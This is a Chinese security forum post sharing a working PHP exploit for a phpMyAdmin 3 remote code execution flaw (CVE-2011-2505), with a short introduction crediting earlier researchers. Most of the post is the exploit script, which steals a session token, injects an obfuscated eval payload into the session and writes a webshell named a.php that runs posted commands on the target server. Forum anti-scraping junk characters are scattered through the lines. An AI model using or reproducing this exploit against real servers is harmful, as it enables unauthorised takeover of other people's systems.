找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2159|回复: 0
打印 上一主题 下一主题

phpadmin3 remote code execute php版本exploit

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-21 09:13:03 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
最近在家做专职奶爸,不谙圈内事很多months了,博客也无更新。9 w$ \' s! ], ~" z/ ]

6 K. g5 ]3 b3 s昨夜带孩子整夜未眠,看到黑哥在php security群里关于phpmyadmin3漏洞的讨论,虽然之前没看过漏洞代码,不过前段时间还是在微博上看到wofeiwo的exp了,不过据黑哥说有不鸡肋的利用方法,于是夜里翻代码出来研究了翻,写出了这个冷饭exp,由于我搞的晚了,之前已经很多人研究了写exp了,于是我这个属于炒冷饭,权当研究研究打发时间了。
) b# W! `1 f# ]2 Y
7 j! s2 r( ~  Y首先赞下wofeiwo的python版本的exp,再赞下wofeiwo跟superhei的钻研精神,学习的榜样啊。不过之前那个exp利用起来是有一些限制的:- i% N3 U' ~" P+ J# o7 ~- W# r
一是session.auto_start = 1;
3 n1 D% N3 {4 H, [二是pma3默认代码里libraries目录已经用.htaccess控制了不允许访问。* E! q1 U) f) D* K  t+ ]3 @; {
当然还有第三点大家都不可以逾越的鸿沟:config目录存在且可写。% F& {! ^4 e; q0 q# e
$ H9 W* I$ u3 y; Y2 G
在群里看了黑哥的发言后,再看了下代码,发现前两点利用限制均可以无视。所以其实这个漏洞还真的可以不是那么鸡肋。
; m$ Z. Y9 f! N, d8 B, r+ }8 Q0 R- M
于是写了这个php版本的exp,代码如下:1 k. C! D* b, Q4 l

- [5 j. G+ V1 d* i% P! @2 y: Q7 x0 ^#!/usr/bin/php+ Z- l8 I, K6 s  L1 v
<?php$ Y- _& `  o/ z& g. w
print_r('
7 O3 k. e4 R9 I$ C; N+---------------------------------------------------------------------------+2 h7 c5 j9 D  E8 K3 h* e4 z
pma3 - phpMyAdmin3 remote code execute exploit [Not jilei(chicken\'s ribs)]8 [' `2 M8 X$ o/ a
by oldjun(www.oldjun.com)* m; n  ]3 G0 f+ \* L4 ]
welcome to www.t00ls.net
! q2 L8 b7 g: Y- O, P, k! l3 }mail: oldjun@gmail.com
+ _. `/ F, r3 p" ?3 I! s. KAssigned CVE id: CVE-2011-2505
" d/ I& A4 f9 C+---------------------------------------------------------------------------+: C* c1 Z, q/ Y& g2 k$ }
');6 p. f4 z1 F; |* h

  X# f- _' B  X9 ~% k3 X/**/ z5 }6 y5 w8 R
* working when the directory:"config" exists and is writeable.
7 `: q5 \; W9 ^. }( p4 O**/$ ?6 d1 `( `: s9 x. D4 x
, T6 i9 J/ S1 g$ k2 B) }. G
if ($argc < 3) {, F9 d" i% V. C( _: ?
    print_r('* y* v$ W/ k! `
+---------------------------------------------------------------------------+
" M* i* _2 R. y2 P6 ]! F! A; |Usage: php '.$argv[0].' host path
% Y% w. J' P2 V" ~9 o) _; lhost:      target server (ip/hostname)
' ^- W/ M  h1 o1 P6 gpath:      path to pma3
6 b* W/ R% p2 \. D& A& hExample:+ ?1 K3 Q9 |! U5 U- ?! B
php '.$argv[0].' localhost /pma/
* \! o' h. z1 E: u. R+---------------------------------------------------------------------------+7 m2 k8 V' p2 w( ]- Y' v: f* ~
');) R; O6 {* ~( i2 a8 ~8 i! K4 n
    exit;1 T8 r9 V# p. ^6 p* M# |
}" t; n! _, a3 s( L- S
. M! b; L  @, k$ h: v
$host = $argv[1];
9 l; H0 `! }: K+ A$path = $argv[2];
- N2 T/ p& b8 b7 }
3 o, i" H3 e3 R6 }! K1 W/**
7 p' a( q( i( O* U0 d% L/ L * Try to determine if the directory:"config" exists; M; A( ]) _# L+ }! l
**/
0 d( v8 L& y- K- k3 V6 jecho "[+] Try to determine if the directory:config exists....\n";
( `  B( X# e4 `& B* c: O$returnstr=php_request('config/');
8 E9 M( e9 T. z$ F5 V% v, U& ~& c+ Zif(strpos($returnstr,'404')){. g3 T/ ?5 _6 I) ^2 M4 I' w) l2 m
    exit("[-] Exploit Failed! The directory:config do not exists!\n");% v" m5 w0 a6 g: e
}& S+ {0 ^: q: M1 n+ n
% @9 L. C: y' ]
/**7 `+ O, L8 h6 w- Y9 o
* Try to get token and sessionid
0 J  C% {! P* f# X! z**/
, v1 i% L% R' e! w$ Q! {3 ^echo "[+] Try to get token and sessionid....\n";
2 ]( D9 L- Z6 c. G) s$result=php_request('index.php');
5 ^. @/ D$ o$ S+ O7 d* _. Npreg_match('/phpMyAdmin=(\w{32,40})\;(.*?)token=(\w{32})\&/s', $result, $resp);
& Z* ?' _) \) e$token=$resp[3];+ I+ ]7 m) T8 ?* Q
$sessionid=$resp[1];4 R8 ^2 r9 q; ]- T: ]* C
if($token && $sessionid){
' f) p6 V( J! m7 P2 @: ?$ G$ d    echo "[+] tokentoken\n";
2 r" A6 J2 f) \+ Y% r    echo "[+] Session IDsessionid\n";( e5 [3 x$ i) Y9 r. ^2 a" @
}else{
, C1 L9 @" N0 `, [. x( M    exit("[-] Can't get token and Session ID,Exploit Failed!\n");
( i% O. G+ @. d% n}
, w& w( l( b5 X& a0 P" o4 \9 K1 _8 s! m( \: X. `1 z
/**
2 z: I; h5 W# o * Try to insert shell into session
+ ~- Z% b$ X9 Z" F- E* p**/
0 o1 `, `" h# h1 J4 V2 cecho "[+] Try to insert shell into session....\n";1 Y2 C4 Y, f9 S
php_request('db_create.php?token='.$token.'&session_to_unset=t00ls&_SESSION[ConfigFile][Servers][*/eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(97).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59).chr(101).chr(99).chr(104).chr(111).chr(40).chr(39).chr(116).chr(48).chr(48).chr(108).chr(115).chr(39).chr(41).chr(59));/*][host]=t00ls.net','','phpMyAdmin='.$sessionid);//Actually,almost all the php files in home directory of pma3 can be used here.7 Q# y* J. H2 C5 V1 b( [
1 r) A9 f; W* E" v% D) ]4 i
/**5 |8 q; ~$ ]1 Q+ Z9 A
* Try to create webshell* C; W: h' x! B
**/
1 q9 }1 ^9 S: V/ Gecho "[+] Try to create webshell....\n";; S) T: k8 p8 S- z' R% j
php_request('setup/config.php','phpMyAdmin='.$sessionid.'&tab_hash=&token='.$token.'&check_page_refresh=&DefaultLang=en&ServerDefault=0&eol=unix&submit_save=Save','phpMyAdmin='.$sessionid);0 T# M9 J$ l1 i0 f/ x  ?# p! ]7 s1 M" f* h
/**  I# t: p* x3 c  G
* Try to check if the webshell was created successfully  b5 ?! D  a' E/ }) @& u  g
**/2 }4 f; s# `( }, B% y8 Y$ f
echo "[+] Try to check if the webshell was created successfully....\n";
) P' [4 s8 U% k6 p1 N$content=php_request('config/config.inc.php');
  t* J5 H' g. v' D( Kif(strpos($content,'t00ls')){: F  d' h. u& O2 Q! y0 d
    echo "[+] Congratulations! Expoilt successfully....\n";: ?' x1 K, ~) X6 H  C
    echo "[+] Webshell:http://$host{$path}config/a.php eval(\$_POST[cmd])\n";
! D, W9 @) O1 B# g; L: ?+ W}else{  l; T, M9 f/ F4 N7 L7 K# ?
    exit("[-] Exploit Failed! Perhaps the directory:config do not exists or is not writeable!\n");
  p1 s' T" ]/ y/ @8 N0 x}6 p0 S* Y) `6 p9 P9 h' P, `

5 ]* W! Y, o: h: nfunction php_request($url,$data='',$cookie=''){
( S! s- K5 z! O    global  $host, $path;
+ u) K( F  Q$ r+ j& L" z   
* h2 U; D* P  {( S% N    $method=$data?'POST':'GET';
. \* p5 b3 Z% `/ C    ; ]/ t- p- o8 ~$ B. @; j2 ~: i5 t
    $packet = $method." ".$path.$url." HTTP/1.1\r\n";
$ M5 Y. S6 [1 \4 D, ?/ X1 `    $packet .= "Accept: */*\r\n";
( C0 q/ r6 S, w    $packet .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";" M5 R( Z7 d( V/ R
    $packet .= "Host: $host\r\n";
1 L" @6 d5 \) ?0 z( [* ~% E! A$ e    $packet .= $data?"Content-Type: application/x-www-form-urlencoded\r\n":"";
7 k' I! s! n- D' c    $packet .= $data?"Content-Length: ".strlen($data)."\r\n":"";
3 T- ^* x: u  }" r3 z    $packet .= $cookie?"Cookie: $cookie\r\n":"";' ^3 t/ V7 @/ ]1 f4 ~9 L, ^
    $packet .= "Connection: Close\r\n\r\n";
8 g, a& I' Z( E5 j    $packet .= $data?$data:"";: o' X5 x5 C" f' V- h4 @- w
4 @1 \  d: @  @1 B
    $fp = fsockopen(gethostbyname($host), 80);5 B3 h1 ~8 k* L+ U+ G" v" m
    if (!$fp) {
0 f; ]( [6 `# }2 a7 L7 F/ a2 h  ~    echo 'No response from '.$host; die;* S" @! y0 g* o. }# F3 Y
    }
" ^" E, I9 r5 @2 Z6 }    fputs($fp, $packet);6 T0 |1 I2 O& k3 I
/ u7 j) j; k- d# t, A9 m
    $resp = '';( {# @3 P/ v6 w# d- A" x
' u' _% r6 u, }. P. d" b3 W2 _
    while ($fp && !feof($fp))* ]6 f( ^3 R6 j" W
        $resp .= fread($fp, 1024);! A4 L1 Y) ]) @9 N7 f
7 z" e" n- O: \+ D+ U5 V' l
    return $resp;
4 K6 I" B  c) S0 f}* w) D$ E0 Y: V0 z
   
5 V0 k) x6 m* C" O?>
2 c  t* ?7 l3 F! [/ {' z& S% n.
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表